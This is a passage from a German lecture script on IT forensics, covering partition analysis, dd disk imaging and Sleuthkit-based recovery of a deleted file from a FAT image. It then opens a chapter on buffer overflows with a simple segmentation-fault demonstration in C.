nicht auf die Dateiendung verlassen. Des weiteren werden Bilder aus Archiven,
Mails, zip-, pdf-, doc-Files extrahiert und für die Ermittlung bereitgestellt.
Im Rahmen der Datenuntersuchung wird oft eine Datenrekonstruktion durchgeführt, bei der gelöschte Dateien, Dateifragmente und File-Slacks (das sind
nicht-allozierte Bereiche auf dem Datenträger) untersucht werden, um Hinweise
auf das Vorliegen von strafbaren Inhalten zu finden.
Falls Logfiles von Webanwendungen, Firewalls oder Intrusion Detection Systemen relevant sind, werden diese aufgearbeitet (z.B. in ein menschenlesbares
Format). Auch eine Timeline kann im Rahmen der Datenuntersuchung erstellt
werden, also welche Dateien zu welchem Zeitpunkt angelegt, gelesen, geändert
oder gelöscht wurden bzw. welche zeitliche Abfolge von Ereignissen sich aus
einer Logdatei ergibt.
Manchmal ist es notwendig, eine erneute Datensammlung durchzuführen, z.B.
wenn festgestellt wird, dass ein bestimmter USB-Stick am System zur Speicherung relevanter Dateien genutzt worden sein könnte.
5. Datenanalyse: Diese Phase beschreibt die eigentliche Analyse der vorverarbeiteten Daten, insbesondere deren Korrelation aus unterschiedlichen Datenquellen
(z.B. mehrere Logfiles oder Urheber von Bildern). Dabei soll die Frage beantwortet werden, ob die gefundenen Erkenntnisse zusammenpassen und einen runden
Gesamtüberblick des Systems ergeben. Auch die Zuordnung von digitalen
Spuren zu natürlichen Personen ist Teil der Datenanalyse.
Auch hier kann es passieren, dass der Ermittler zur Datenuntersuchung zurückkehren muss, etwa um eine gelöschte Datei wiederherzustellen, die gemäß
Metadaten des Dateisystems rekonstruierbar sein müsste.
6. Dokumentation: Dokumentation ist ein elementarer Bestandteil einer ITforensischen Untersuchung. Neben der Protokollierung aller Einzelschritte im
6
nsrl.nist.gov
133
10 IT-Forensik
Laufe der verschiedenen Ermittlungsphasen (Verlaufsprotokoll) fasst der Ermittler am Ende zielgruppenspezifisch die wesentlichen Befunde in Form eines
Ergebnisprotokolls zusammen. Eine IT-Belegschaft wird ein sehr technisches
Ergebnisprotokoll verlangen, wohingegen techisch-ferne Zielgruppen wie Management / Gericht / Staatsanwalt einen mehr abstrakten Bericht inklusive der
wesentlichen Ergebnisse bevorzugen.
Soweit möglich sollte bei der Protokollierung eine standardisierte Terminologie
verwendet werden, etwa die Terminologie zum Austausch von Informationen
zwischen Computer Emergency Response Teams (CERT-Taxonomie). Diese
beschreibt Angreifer (z.B. Hacker, Spione, Terroristen, professionelle Kriminelle,
Voyeure), deren Werkzeuge (z.B. Einschleusen von Kommandos, Physikalischer
Angriff, Autonome Agenten), die ausgenutzte Schwachstelle (Design, Implementierung, Konfiguration) sowie Aktion, Ziel, Resultat und Absicht eines
Angriffs.
Kommt es zu einer Präsentation der Ergebnisse, so steht die Glaubwürdigkeit
des IT-Forensikers im Mittelpunkt, die aus zweierlei Hinsicht gewertet werden
kann. Zum einen sollte die Dokumentation vollständig und detailliert genug
sein, zum anderen zählt aber auch das persönliche Erscheinungsbild. Klassische Herausforderungen als sachverständiger Zeuge vor Gericht ist das nicht
technische Publikum.
In diesem Abschnitt geben wir an, auf welchen unterschiedlichen Abstraktionsebenen
eine IT-forensische Untersuchung nach analysefähigen Datenstrukturen sucht. Die
tiefste Ebene ist die Datenträgerebene, auf die wir in Abschnitt 10.3.1 eingehen.
Danach beschreiben wir in Abschnitt 10.3.2 die Analyse auf Dateisystemebene. Auf
die höchste Ebene, die Anwendungsebene, gehen wir nicht weiter ein. Ihr Ziel ist
die Interpretation von Inhalten der Benutzerdaten. In vielen Fällen geht es dabei
um die Analyse von Datenbanken (oft SQLite-Datenbanken), weil diese von vielen
Anwendungen wie Browser, Mail-Client oder Instant-Messenger zur persistenten
Speicherung ihrer Daten verwendet werden. Auch die Analyse der Windows-Registry
fällt in diese Kategorie.
Wir erläutern die grundlegende Vorgehensweise an Hand von ausgewählten Tools.
Die wichtigsten sind dd sowie die Befehle aus dem Sleuthkit (The Sleuthkit, TSK7 )
von Brian Carrier. Wir empfehlen, eine spezielle IT-Forensik-Distribution auf Basis
des Linux-Betriebssystems zu verwenden. Kali Linux8 ist zur Zeit sehr beliebt, es
stellt die verwendeten Tools zur Verfügung.
7
8
www.sleuthkit.org
www.kali.org
134
Abbildung 10.3: Vereinfachter Aufbau einer Partitionstabelle
10.3.1 Datenträgerebene
Dieser Abschnitt befasst sich mit analysefähigen Datenstrukturen auf Datenträgerebene. Typische Beispiele für Datenträger sind magnetische Festplatten (Hard Disc
Drives, HDDs), Halbleiterlaufwerke (Solid State Discs, SSDs) oder Flashspeicher in
USB Sticks oder SD Karten.
Auf Datenträgerebene bezeichnet ein Sektor die kleinste adressierbare Einheit des
Datenträgers. Eine heute verbreitete Größe eines Sektors ist 512 Byte, bei moderneren
Datenträgern findet man auch oft schon 4096 Byte. Da auf Datenträgerebene immer
ein ganzzahliges Vielfaches der Sektorgröße zum Speichern von Dateien alloziert
wird, bleibt im ’letzten’ Sektor ein Teil des Speichers ungenutzt. Diesen ungenutzten
Bereich nennt man Slack Space. Wenn beispielsweise der Nutzer eine kleine Textdatei
von 20 Byte anlegt, so alloziert der Datenträger einen Sektor für diese Textdatei, so
dass ein Großteil der Speicherkapazität des Sektors nicht genutzt wird.
Von zentraler Bedeutung bei einer IT-forensischen Analyse eines Datenträgers ist
dessen Partitionierung, d.h. die Unterteilung des Datenträgers in kleinere Bereiche.
Gründe für eine Partitionierung sind vielseitig. Manche Anwender nutzen mehrere
Betriebssysteme auf einer Arbeitsstation, andere möchten ihre Dateien auf unterschiedlichen Partitionen verwalten (z.B. Partition 1: Betriebssystem, Partition 2:
persönliche Daten). Die Partitionierung ist vom Betriebssystem und den unterschiedlichen Hardwareplattformen abhängig. Im Privatbereich finden wir noch meist das
DOS-Partitionsschema vor, durch Einführung von (U)EFI statt BIOS wird aber nach
und nach auf das modernere GPT-Partitionsschema umgestiegen.
Die Basis einer Partitionierung bildet die Partitionstabelle, die das Layout der
Festplatte beschreibt – ähnlich dem Inhaltsverzeichnis eines Buches. Eine schematische
Darstellung einer Partitionstabelle ist in Abbildung 10.3 dargestellt. Typische Einträge
sind der Start und das Ende einer Partition (oft auch durch Beginn und Größe der
Partition beschrieben) sowie das Dateisystem, mit dem die Partition formatiert
ist. Allerdings muss das in der Partitionstabelle behauptete Dateisystem mit dem
tatsächlichen nicht übereinstimmen – hier ist also Vorsicht für den IT-Forensiker
geboten, er muss dies durch Betrachten der jeweiligen Partition validieren bzw.
widerlegen.
In Abbildung 10.3 erkennt man drei Partitionen mit den Dateisystemen FAT und
135
10 IT-Forensik
2
# sha256sum / dev / sdb
6 a5b9a759d56beb2c76f19462fdc8c361bede4fca1d01124ef36381842dc3921
4
# dd if =/ dev / sdb of = mastercopy . dd bs =512
6
# dd if = mastercopy . dd of = workingcopy . dd bs =512
1
8
9
10
12
13
14
15
# sha256sum mastercopy . dd workingcopy . dd
19
20
21
22
23
24
25
mastercopy . dd
workingcopy . dd
# mmls workingcopy . dd
DOS Partition Table
Offset Sector : 0
Units are in 512 - byte sectors
17
18
/ dev / sdb
00:
01:
02:
03:
04:
05:
06:
07:
Slot
Meta
----00:00
----Meta
Meta
01:00
-----
Start
0000000000
0000000000
0000002048
0960237568
0960239614
0960239614
0960239616
0976771072
End
0000000000
0000002047
0960237567
0960239615
0976771071
0960239614
0976771071
0976773167
Length
0000000001
0000002048
0960235520
0000002048
0016531458
0000000001
0016531456
0000002096
Description
Primary Table (#0)
Unallocated
Win95 FAT32 (0 x0C )
Unallocated
DOS Extended (0 x05 )
Extended Table (#1)
Linux Swap / Solaris x86 (0 x82 )
Unallocated
Abbildung 10.4: Wesentliche Schritte bei der Datenträgersicherung
NTFS sowie zwei nicht-allozierte Bereiche (einer lässt sich auch aus der Tabelle ablesen). Obwohl nicht-allozierte Bereiche nicht ohne Weiteres mit Betriebssystemmitteln
zugänglich sind, eignen sie sich, um Daten zu verstecken.
Sehen wir uns nun das DOS-Partitionsschema etwas näher an. Die Partitionstabelle
und damit die zentrale Datenstruktur des DOS-Partitionsschematas liegt im ersten
Sektor des Datenträgers (d.h. Sektor 0), dem Master Boot Record (MBR). Sie beginnt
ab Offset 446 des MBR und belegt statisch vier Einträge zu je 16 Byte. Durch ein DOSPartitionsschema können also höchstens vier Partitionen durch die Partitionstabelle
des MBR beschrieben werden. Sofern man mehr Partitionen allozieren möchte, muss
man erweiterte Partitionen anlegen, die eigene Partitionstabellen in ihrem ersten
Sektor speichern (sogenannte sekundäre Partitionstabellen).
Im Folgenden beschreiben wir an Hand des Listings in Abbildung 10.4 die wesentlichen Schritte bei der Datenträgersicherung. In unserem Beispielszenario wird
der Datenträger /dev/sdb gesichert (z.B. eine externe Festplatte, die wir per USBSchnittstelle in unsere forensische Workstation eingebunden haben). Zunächst benötigen wir zum Zugriff auf die Gerätedatei /dev/sdb Systemrechte, was wir durch den
Befehlsprompt # andeuten.
Wichtige Prinzipien der Forensik sind Wiederholbarkeit, Integrität sowie Authentizität. Insbesondere Beweismittel sind gegen Veränderungen zu schützen. Wir nehmen
daher an, dass die externe Festplatte mittels eines geeigneten Schreibschutzes (z.B.
Hardware Write Blocker) gegen Veränderung geschützt ist. Des weiteren wird mit
dem Original so selten wie möglich gearbeitet – wir legen uns daher Kopien an.
Damit wir die Übereinstimmung von originalem Beweismittel mit unseren Kopien
136
nachweisen können, berechnen wir zunächst den SHA-256-Wert des Datenträgers
(Zeile 1 in Abbildung 10.4). Danach sichern wir mittels des Linux Befehls dd den
Datenträger zu unserer Masterkopie (Zeile 4) – auf dd gehen wir gleich noch ein. Um
im Falle einer Manipulation unserer Kopie nicht erneut den originalen Datenträger
zu nutzen, legen wir uns mittels dd unsere Arbeitskopie an (Zeile 6), auf der wir
arbeiten. Falls wir diese verändern, können wir auf die Masterkopie zurückgreifen,
um uns eine neue Arbeitskopie zuzulegen. In den Zeilen 8 bis 10 sehen wir, dass das
Beweismittel sowohl mit Master- als auch mit Arbeitskopie übereinstimmt.
Ab Zeile 12 kommt dann die Analyse der Partitionierung. Es gibt zwei verbreitete
Tools, um die Partitionstabelle eines DOS-partitionierten Datenträgers auszulesen:
das allgemeine Linux-Tool fdisk sowie mmls aus dem Sleuthkit. Die Bezeichnung
mmls soll an den klassischen List-Befehl ls von Linux erinnern.
Im Folgenden gehen wir auf die Ausgabe von mmls ein (Zeilen 12 bis 25). Wir
sehen, dass es sich um eine DOS-Partitionierung handelt (Zeile 13), dass die Zählung
am Beginn des Datenträgers startet (Zeile 14, Offset sector 0) und dass die Zahlen
in der Maßeinheit Sektoren zu je 512 Byte angegeben werden (Zeile 15).
Die Aufteilung des Datenträgers wird dann in den selbsterklärenden Spalten Start,
End und Length angegeben, die jeweils den ersten bzw. letzten Sektor sowie die Größe
des jeweiligen Bereichs in Sektoren angeben. Die Spalte Description gibt Details
zum Zeileneintrag an, während Slot eine Nummerierung der Bereiche ermöglicht. Ein
Eintrag Meta bedeutet, dass als Metadaten eine Partitionstabelle in dem jeweiligen
Bereich vorhanden ist, die Zählung xx:yy gibt zunächst die Nummer der Partitionstabelle xx und danach die Nummer des Eintrags yy in dieser Partitionstabelle
an.
Wir sehen insgesamt zwei Partitionstabellen: die primäre Tabelle steht im MBR
(Primary Table (#0) im Eintrag 00), die zweite Partitionstabelle findet sich im
ersten Sektor der erweiterten Partition als Eintrag 05. Wir finden drei nicht-allozierte
Bereiche (Einträge 01, 03 und 07) sowie zwei Dateisystempartitionen vor (Einträge
02 und 06). In der ersten Dateisystempartition vermuten wir ein FAT32-Dateisystem,
das in der DOS-Partitionierung als Typ 0x0C kodiert wird. Weiterhin ist der Eintrag
06 vom Typ 0x82 vermutlich eine Swap-Partition.
Zur Untersuchung einzelner Partitionen bzw. der nicht-allozierten Bereiche empfiehlt es sich, jeden Bereich zu extrahieren und einer separaten Analyse zu unterziehen.
Zum Extrahieren der einzelnen Bereiche verwendet man in der IT-Forensik typischerweise das Linux-Tool dd. Der Befehl zum Herausschreiben der FAT32 Partition
lautet (wir setzen hier privilegierte Rechte voraus, was wir durch den Befehlsprompt
# andeuten):
# dd if=/dev/sdb of=part_1.dd bs=512 skip=2048 count=960235520
Die Bedeutung der Kommandooptionen ist wie folgt: if bezeichnet die Eingabedatei
(input file), hier das Gerät /dev/sdb (wie oben bereits gesagt eine externe Festplatte),
of entsprechend die Ausgabedatei (output file). Das Flag bs beschreibt die Blockgröße
(block size), die als Maßeinheit der folgenden Optionen genutzt wird und hier die
Sektorgröße 512 Byte verwendet. skip gibt die Anzahl der Blöcke an, die von Beginn
137
10 IT-Forensik
der Eingabedatei übersprungen werden, count die Anzahl der herauszuschreibenden
Blöcke. Als kleine Übung geben Sie bitte die Befehle zum Auslesen aller weiteren
Partitionen sowie der nicht-allozierten Bereiche an.
Nachdem wir die Bereiche einzeln gesichert haben, können wir Dateisystempartitionen durch eine Dateisystemanalyse weiter untersuchen. Auf die Untersuchung
nicht-allozierter Bereiche gehen wir in Abschnitt ?? weiter ein.
10.3.2 Dateisystemanalyse
Ein wichtiger Bestandteil jedes Betriebssystems ist das Dateisystem. Dieses dient als
Schnittstelle zwischen dem Betriebssystem und den verbundenen Datenträgern. Das
Dateisystem legt fest, wie Dateien benannt, gespeichert, organisiert und verwaltet
werden. Es ist hierarchisch aufgebaut und speichert die einzelnen Dateien in einem
Verzeichnisbaum. In der Regel sind die Dateisysteme unabhängig von Hardware
oder Betriebssystem, es kann jedoch auf Grund der fehlenden Standardisierung bzw.
Offenlegung der Dateisystemstruktur (insbesondere bei Microsoft Dateisystemen) zu
Unterschieden bis hin zu Inkompatibilitäten kommen, wenn von unterschiedlichen
Betriebssystemen auf ein Dateisystem zugegriffen wird.
Auf Datenträgerebene haben wir bereits den Begriff Sektor als kleinste adressierbare
Einheit des Datenträgers kennengelernt. Auf Dateisystemebene heißt die kleinste
adressierbare Einheit Cluster oder Dateisystemblock. Die Clustergröße hängt von
dem Dateisystem ab und bei manchen Dateisystemen auch von der Größe der
Dateisystempartition. Eine gängige Größe eines Clusters ist 4096 Byte, in jedem
Fall ist sie ein ganzzahliges Vielfaches der Sektorgröße. Da Dateien eine ganze Zahl
an Clustern belegen, bleibt wie bei Sektoren im ’hintersten’ Cluster ein Teil des
Speichers ungenutzt. Dieser ungenutzte Bereich heißt File Slack. File Slack ist aus
IT-forensischer Sicht interessant, weil dort noch Reste von vorhergehenden Dateien
oder sogar Datenstrukturen aus dem Hauptspeicher liegen können.
Wir gehen kurz auf wichtige Dateisysteme sowie ihr Einsatzgebiet ein. Ein ITForensiker dürfte mit all diesen Dateisystemen in Kontakt kommen. In der Linuxwelt
ist die Familie der Extended Filesystems (extX-Dateisystemen) etabliert. Die aktuelle
Version ist ext4. Es ist mittlerweile auch das Standarddateisystem unter Android.
Unter Microsoft-Betriebssystemen findet man typischerweise das New Technology File
System (NTFS). Es hat das früher bereits unter MS-DOS gebräuchliche Microsoft
Dateisystem FAT abgelöst. FAT verdankt seinen Namen der File Allocation Table,
die in einem FAT Dateisystem unter Anderem den Belegtstatus der Cluster angibt.
Je nach Länge der Clusteradresse (in Bits) unterscheidet man FAT12 (d.h. die
Clusteradresse wird durch einen 12-Bit-Integer dargestellt), FAT16 sowie FAT32.
Auch wenn FAT ein sehr altes Dateisystem ist, so kommt es heute oft noch auf
Wechseldatenträgern wie USB-Sticks oder SD-Karten vor, weil alle Betriebssysteme
sehr gut mit FAT umgehen können. Auf Apple-Geräten kommt das Hierarchical File
System (HFS) oder dessen Weiterentwicklung HFS+ zum Einsatz.
Brian Carrier schlägt in [?] die Suche nach analysefähigen Strukturen auf Dateisystemebene in 5 Kategorien vor. Im folgenden stellen wir drei dieser Kategorien
138
vor:
1. Dateisystemdaten: zu dieser Kategorie gehören grundlegende Informationen
über das Dateisystem, z.B. Angaben über die Clustergröße, die Größe des
Dateisystems, welche Cluster alloziert sind oder wo man weitere Informationen
über das Dateisystem findet. Typischerweise findet man einen wesentlichen Teil
der Dateisystemdaten am ’Anfang’ des Dateisystems, d.h. im ersten Cluster
bzw. dem ersten Sektor. Der erste Sektor hat daher einen besonderen Namen,
er heißt Bootsektor. Der Bootsektor sollte nicht mit dem Master Boot Record
verwechselt werden (der MBR ist der erste Sektor eines DOS-partitionierten
Datenträgers).
2. Metadaten: unter Metadaten versteht man ’Daten über Daten’, d.h. Informationen über eine Datei ohne deren Inhaltsdaten oder Dateinamen. Wichtige
Metadaten sind die Zeitstempel einer Datei, der Speicherort (d.h. die Clusteradressen) der Inhaltsdaten, die Dateigröße oder Zugriffsrechte. In den meisten
Dateisystemen gibt es wenigstens drei Zeitstempel zur Angabe des letzten schreibenden Zugriffs (last modified), des letzten lesenden Zugriffs (last accessed)
sowie des Anlegens der Datei (created). Daher spricht man auch oft von den
MAC-Zeitstempeln. Die Analyse der Zeitstempel ermöglicht die Angabe einer
Timeline, also wie auf welche Dateien in chronologischer Zeitreihe zugegriffen
wurde. Man muss aber beachten, dass Zeitstempel beliebig manipulierbar sind,
ohne die Funktionalität des Dateisystems zu beeinträchtigen. Ihre Aussagekraft
kann daher eingeschränkt sein.
3. Dateinamen: Carrier verwendet für den Dateinamen eine eigene Kategorie. Er
ist dabei von der Familie der extX-Dateisysteme geleitet. Ein Verzeichniseintrag
in einem extX-Dateisystem verknüpft den Dateinamen (also die Bezeichnung,
die der Anwender nutzt) mit den Metadaten dieser Datei (sogenannte Inodes).
Das ist vergleichbar mit der URL eines Webservers sowie seiner IP-Adresse: die
URL nutzt der Anwender, die IP-Adresse die IT-Systeme.
Der Befehl fsstat aus dem Sleuthkit analysiert zunächst den Bootsektor und
gegebenenfalls weitere Datenquellen und gibt grundlegende Informationen über das
zu untersuchende Dateisystem aus. In unserem Beispiel analysieren wir eine FATPartition, die als partition-fat.dd vorliegt. Die Ausgabe des fsstat-Befehls ist in
Abbildung 10.5 dargestellt.
In der ersten Kategorie FILE SYSTEM INFORMATION sehen wir, dass es sich um ein
FAT16-Dateisystem handelt und die Adressierung der Sektoren von 0 bis 204799 reicht
– mit der Sektorgröße 512 Byte = 12 KiB aus Zeile 24 ergibt das eine Dateisystemgröße
von
1
204800 · KiB = 100 · 1024 KiB = 100 MiB .
2
Die weiteren Informationen in der Kategorie FILE SYSTEM INFORMATION beschreiben die Lage der drei Bereiche eines FAT-Dateisystems, nämlich den reservierten
139
10 IT-Forensik
1
3
4
5
7
8
9
10
11
12
13
14
15
17
18
19
20
22
23
24
25
26
28
29
30
31
32
33
36
37
38
39
40
41
42
43
44
45
$ fsstat partition - fat . dd
FILE SYSTEM INFORMATION
-------------------------------------------File System Type : FAT16
File System Layout ( in sectors )
Total Range : 0 - 204799
* Reserved : 0 - 3
** Boot Sector : 0
* FAT 0: 4 - 203
* FAT 1: 204 - 403
* Data Area : 404 - 204799
** Root Directory : 404 - 435
** Cluster Area : 436 - 204799
METADATA INFORMATION
-------------------------------------------Range : 2 - 3270342
Root Directory : 2
CONTENT INFORMATION
-------------------------------------------Sector Size : 512
Cluster Size : 2048
Total Cluster Range : 2 - 51092
FAT CONTENTS ( in sectors )
-------------------------------------------440 -503 (64) -> 556
504 -555 (52) -> EOF
556 -931 (376) -> EOF
3024 -7899 (4876) -> EOF
$ fls - ar image - fat . dd
r / r 4: pubform . doc
r / r * 5: _N_JOR ~1. JPG
r / r 8: tn_ jordan_02 1a . jpg
r / r * 10: ab - sepa . zip
r / r 12: AB - SEPA . xls
v / v 3270339: $MBR
v / v 3270340: $FAT1
v / v 3270341: $FAT2
d / d 3270342: $OrphanFiles
Abbildung 10.5: Grundlegende Informationen über ein Dateisystem am Beispiel von
FAT
140
Bereich, die beiden File Allocation Tables (FAT0 bzw. deren Backup FAT1) sowie
den Datenbereich. Wir gehen darauf hier nicht näher ein.
In der zweiten Kategorie METADATA INFORMATION erhalten wir Informationen über
den Adressbereich der ’Inodes’ (der Begriff ’Inode’ passt unter FAT nicht wirklich,
weil einfach potenzielle Verzeichniseinträge durchnummeriert werden). Das Wurzelverzeichnis des Dateisystems hat die Inode-Nummer 2, Inodes 0 oder 1 gibt es unter
FAT nicht.
Unter CONTENT INFORMATION erfahren wir die Sektor- und die Clustergröße (bitte
beachten, dass die Sektorgröße vom Datenträger, nicht aber vom Dateisystem festgelegt wird). Der Adressbereich der Cluster ist 2 bis 51092. Auch hier gilt, dass es
weder einen Cluster 0 noch einen Cluster 1 gibt.
Schließlich erfahren wir in der Kategorie FAT CONTENTS Informationen über die
Anzahl und Fragmentierung allozierter Dateien und Verzeichnisse. Wir sehen, dass
insgesamt 3 Dateien/Verzeichnisse alloziert sind, wobei die in Sektor 440 startende
Datei fragmentiert ist. Ihre Inhaltsdaten liegen in den Sektoren 440 bis 503 sowie
556 bis 931. Ein Eintrag EOF bedeutet, dass die Datei mit diesem FAT-Eintrag endet
(End of file).
Um einen Überblick über alle allozierten sowie nicht-allozierten Dateien des Dateisystems zu erhalten, verwenden wir den Befehl fls aus dem Sleuthkit. Das vorangestellte f dieses List-Befehls soll an die Kategorie filename erinnern. fls geht einfach
sukzessive alle möglichen Verzeichniseinträge durch und gibt das Ergebnis aus. Für
unser Beispieldateisystem partition-fat.dd sehen wir die Ausgabe von fls ab
Zeile 36 in Abbildung 10.5.
In der ersten Spalte steht r/r für eine regularäre Datei, v/v für eine virtuelle (d.h.
nicht existierende) Datei, die das Sleuthkit einfügt. d/d bezeichnet ein Verzeichnis,
wobei das in Zeile 45 angegebene Verzeichnis nur virtuell für das Sleuthkit existiert.
Die zweite Spalte gibt an, ob eine Datei oder ein Verzeichnis alloziert oder gelöscht
ist. Im ersten Fall gibt fls die Inode-Nummer an, im Falle eines gelöschten Objekts
zusätzlich ein *. Wie bereits durch die Ausgabe von fsstat bekannt, sind in unserem
Beispiel-Image drei Objekte alloziert. Durch fls erfahren wir, dass es sich um reguläre
Dateien handelt, die durch die Inodes 4, 8 sowie 12 beschrieben werden. Weiterhin
sind zwei gelöschte Verzeichniseinträge vorhanden, die durch die Inodes 5 sowie 10
beschrieben wurden.
Um nun weitere Details über eine Datei zu erfahren, verwenden wir den Befehl
istat. Der Präfix i zeigt an, dass wir über eine Inode-Nummer Informationen über
ein Objekt des Dateisystems erfahren wollen – wir müssen also diesem Befehl eine
Inode-Nummer übergeben. istat greift dann auf den unter dieser Inode-Nummer
gespeicherten Verzeichniseintrag zu und gibt diese Informationen aus.
In Abbildung 10.6 sehen wir zunächst für die Datei, die über Inode 4 adressiert
wird, die zugehörigen Metainformationen: sie ist alloziert, ihre Größe ist 224768 Byte.
Bei den Zeitstempeln, die allesamt vom 03.04.2014 datieren, fällt auf, dass der
last accessed Zeitstempel vor dem created Zeitstempel liegt. Dieser Widerspruch
ist der Tatsache geschuldet, dass Zeitstempel unter FAT mit unterschiedlicher Genauigkeit abgespeichert werden: last accessed wird nur auf den Tag genau gespeichert
141
10 IT-Forensik
1
3
4
5
6
7
9
10
11
12
$ istat partition - fat . dd 4
Directory Entry : 4
Allocated
File Attributes : File , Archive
Size : 224768
Name : PUBFORM . DOC
Directory Entry Times :
Written : Thu Apr 3 11:48:34 2014
Accessed : Thu Apr 3 00:00:00 2014
Created : Thu Apr 3 11:48:34 2014
20
Sectors :
440 441 442
[ REMOVED ]
496 497 498
556 557 558
[ REMOVED ]
924 925 926
23
$ istat partition - fat . dd 10
14
15
16
17
18
19
25
26
27
28
29
31
32
33
34
443 444 445 446 447
499 500 501 502 503
559 560 561 562 563
927 928 929 930 931
Directory Entry : 10
Not Allocated
File Attributes : File , Archive
Size : 1070132
Name : _B - SEPA . ZIP
Directory Entry Times :
Written : Thu Apr 3 11:49:42 2014
Accessed : Thu Apr 3 00:00:00 2014
Created : Thu Apr 3 11:49:42 2014
40
Sectors :
932 933 934 935 936 937 938 939
[ REMOVED ]
3012 3013 3014 3015 3016 3017 3018 3019
3020 3021 3022 0
43
$ icat -r image - fat . dd 10 > file . out
36
37
38
39
45
46
47
48
49
50
51
$ unzip -l file . out
Archive : file . out
Length
Date
Time
- - - - - - - - - - - - - - - - - - - ----2494976 2014 -03 -08 15:16
--------2494976
Name
---AB - SEPA . xls
---- --1 file
Abbildung 10.6: Metadaten von Dateien eines FAT-Dateisystems
142
(daher gibt istat einfach 0 Uhr als Zeit aus), die beiden übrigen Zeitstempel auf 2
Sekunden genau (daher jeweils eine gerade Sekundenzahl). Schließlich sehen wir noch
die von der Datei allozierten Sektoren, wobei wir sequenzielle Sektoradressen durch
[REMOVED] weglassen. Wir erkennen die beiden Fragmente der Datei.
Danach sehen wir in Abbildung 10.6 die gelöschte Datei, die über Inode 10 adressiert
wurde. Dieser Verzeichniseintrag wird im Augenblick nicht genutzt. Die Datei hatte
eine Größe ist 1070132 Byte. Für die Zeitstempel gilt das oben Gesagte. Interessant
ist die Ausgabe der von der Datei ehemals allozierten Sektoren. Diese Information
liegt so nicht als Metadatum im Dateisystem vor, sondern lediglich der ehemals
erste allozierte Sektor der Datei sowie die Dateigröße. Aus diesen Informationen
berechnet das Sleuthkit diese Sektoradressen, wobei es eine nicht-fragmentierte Datei
unterstellt. War die Datei fragmentiert, ist die Angabe der Sektoradressen falsch.
Auffällig ist auch die Angabe des letzten Sektors 0, was nicht stimmen kann, da dort
der Bootsektor des Dateisystems liegt.
Interessant für eine IT-forensische Untersuchung ist die Frage der Wiederherstellung
gelöschter Dateien. Dazu gibt es unterschiedliche Ansätze. Auf Dateisystemebene
hängt die Erfolgswahrscheinlichkeit zur Wiederherstellung gelöschter Dateien vom verwendeten Dateisystem sowie der Fragmentierung der Datei ab. Mit Hilfe des Befehls
icat aus dem Sleuthkit kann man versuchen, aus noch vorliegenden Metainformationen einer Datei deren Inhalt wiederherzustellen. Für unser Beispieldateisystem und
die gelöschte Datei mit Inode-Nummer 10 wenden wir icat an, wobei wir den Switch
-r verwenden, um icat in den Recovery Modus für gelöschte Dateien zu schalten.
Das abschließende unzip zeigt, dass die Wiederherstellung funktioniert hat.
143
Dieser Teil der Veranstaltung beschäftigt sich mit sicherer Softwareentwicklung. Wir
werden zumächst zeigen, welchen Gefahren man ausgesetzt ist, wenn Programme
mit Schwachstellen ausgeführt werden. Als Schwachstellen werden Pufferüberläufe
betrachtet. Daran anschliessend werden Gegenmaßnahmen diskutiert und gezeigt,
wie solche unsicheren Programme vermieden werden können.
Die Programme sind auf Rechnern mit Intel-Hardware entwickelt und zeigen
dort auch die beabsichtigte Wirkung. Damit die Effekte auf anderen Architekturen
beobachtet werden können, sind aber nur unwesentliche Änderungen erforderlich wir verzichten hier aber darauf. Die Quellen der Programme sind im Skript teilweise
gekürzt, aber durch Links auf den FBI-Webserver ist der ganze Quellkode aller
Programme via Download verfügbar. Somit können dann die Programme übersetzt
werden und man kann sie starten, um die Effekte am Rechner nachvollziehen zu
können.
Die Betrachtung der sicheren Softwareentwicklung resultiert aus dem Blickwinkel
eines Programmierers1 , wobei Software-Engineering-Aspekte bzgl. Sicherheit unberücksichtigt bleiben. Dies resultiert aus der Einbettung der Veranstaltung in das erste
Semester, Software-Engineering wird erst in den nachfolgenden Semestern gelehrt.
1
Einige der vorgestellten Programme orientieren sich am Buch ’Buffer Overflows und FormatString-Schwachstellen’ von Tobias Klein (vgl. [Kle04]). Dort sind weitere Schwachstellen und
Gegenmassnahmen beschrieben.
145
11.1 Pufferüberläufe
Hier werden Pufferüberläufe mit ihren Auswirkungen betrachtet. Die Schwachstellen
werden auf Intel Linux Rechnern (ELF basiertes Unix mit IA-32 Architektur) diskutiert. Sie sind aber auf anderen Systemen ebenfalls möglich, dann sind die spezifischen
Umgebungsbesonderheiten entsprechend zu berücksichtigen. Die Programme, die als
Basis für die Pufferüberläufe gezeigt werden, sind in C geschrieben und mit dem GNU
Compiler übersetzt. Zur Darstellung des Programmablaufs wird der GNU Debugger
verwendet.
Datentypen der IA-32 Prozessorarchitektur und Speicherorganisation
Ein Byte hat 8 Bit, ein Wort besteht aus 2 Byte, ein Doppelwort aus 4 Byte.
Verwendet wird ’Little-endian-Byte-Ordering’. Daten und Hauptspeicher werden wie
folgt dargestellt:
7
0
15
87
Byte
Wort
0
high B. low B.
31
2423
1615
87
0
31
2423
1615
87
0 ←Bit Offset
Doppelwort
Speicher
16 höchste Adresse
12
8
4
Byte 3 Byte 2 Byte 1 Byte 0
0 niedrigste Adresse
↑
Byte Offset
Abbildung 11.1: Organisation von Daten im Hauptspeicher
Pufferüberläufe kann man nur verstehen, wenn die Prozess- und Speicherorganisation bekannt ist. Eine Binärdatei enthält ein ausführbares Programm und ist auf einem
Datenträger abgelegt. Hier wird das in Linux übliche Format ELF (Executable and
Linking Format) zu Grunde gelegt. Wird ein Programm aufgerufen, wird der dazu
gehörende Programmkode in den Hauptspeicher geladen und das Programm wird
146
in dieser Umgebung ausgeführt. Dieses sich im Ablauf befindende Programm wird
Prozess genannt. Einem Prozess ist im Hauptspeicher ein (virtueller) Adressraum
zur Verfügung gestellt, der in Segmente aufgeteilt ist, so wie in Abbildung 11.2
dargestellt. Im Textsegment wird der (übersetzte) Programmkode abgelegt. Dieser
0xc0000000
hohe Adressen
Stack
?frei
6
Heap
Data
0x08048000
Text
niedrige Adressen
Abbildung 11.2: Adressraum
Bereich ist ’read only’, um zu verhindern, dass ein Prozess seine Instruktionen versehentlich überschreibt. Ein Schreibversuch in den Bereich führt zu einem Fehler
(Segmentation Violation, Speicherzugriffsfehler). Dies ist im nachfolgenden Programm
segmentationViolation.c verdeutlicht.
1
3
4
5
6
7
char global [] = " Text " ;
int main ( void ) {
printf ( " % s \ n " , global );
global [ -10000] = 'a ';
return 0;
}
←
$ segmentationViolation
Text
Segmentation fault ( core dumped )
$
Nach der Ausgabe ’Text’ durch die Funktion printf2 wird durch die Zuweisung
’global[-10000]=’a’;’ auf das Text-Segment schreibend zugegriffen; dies führt zum
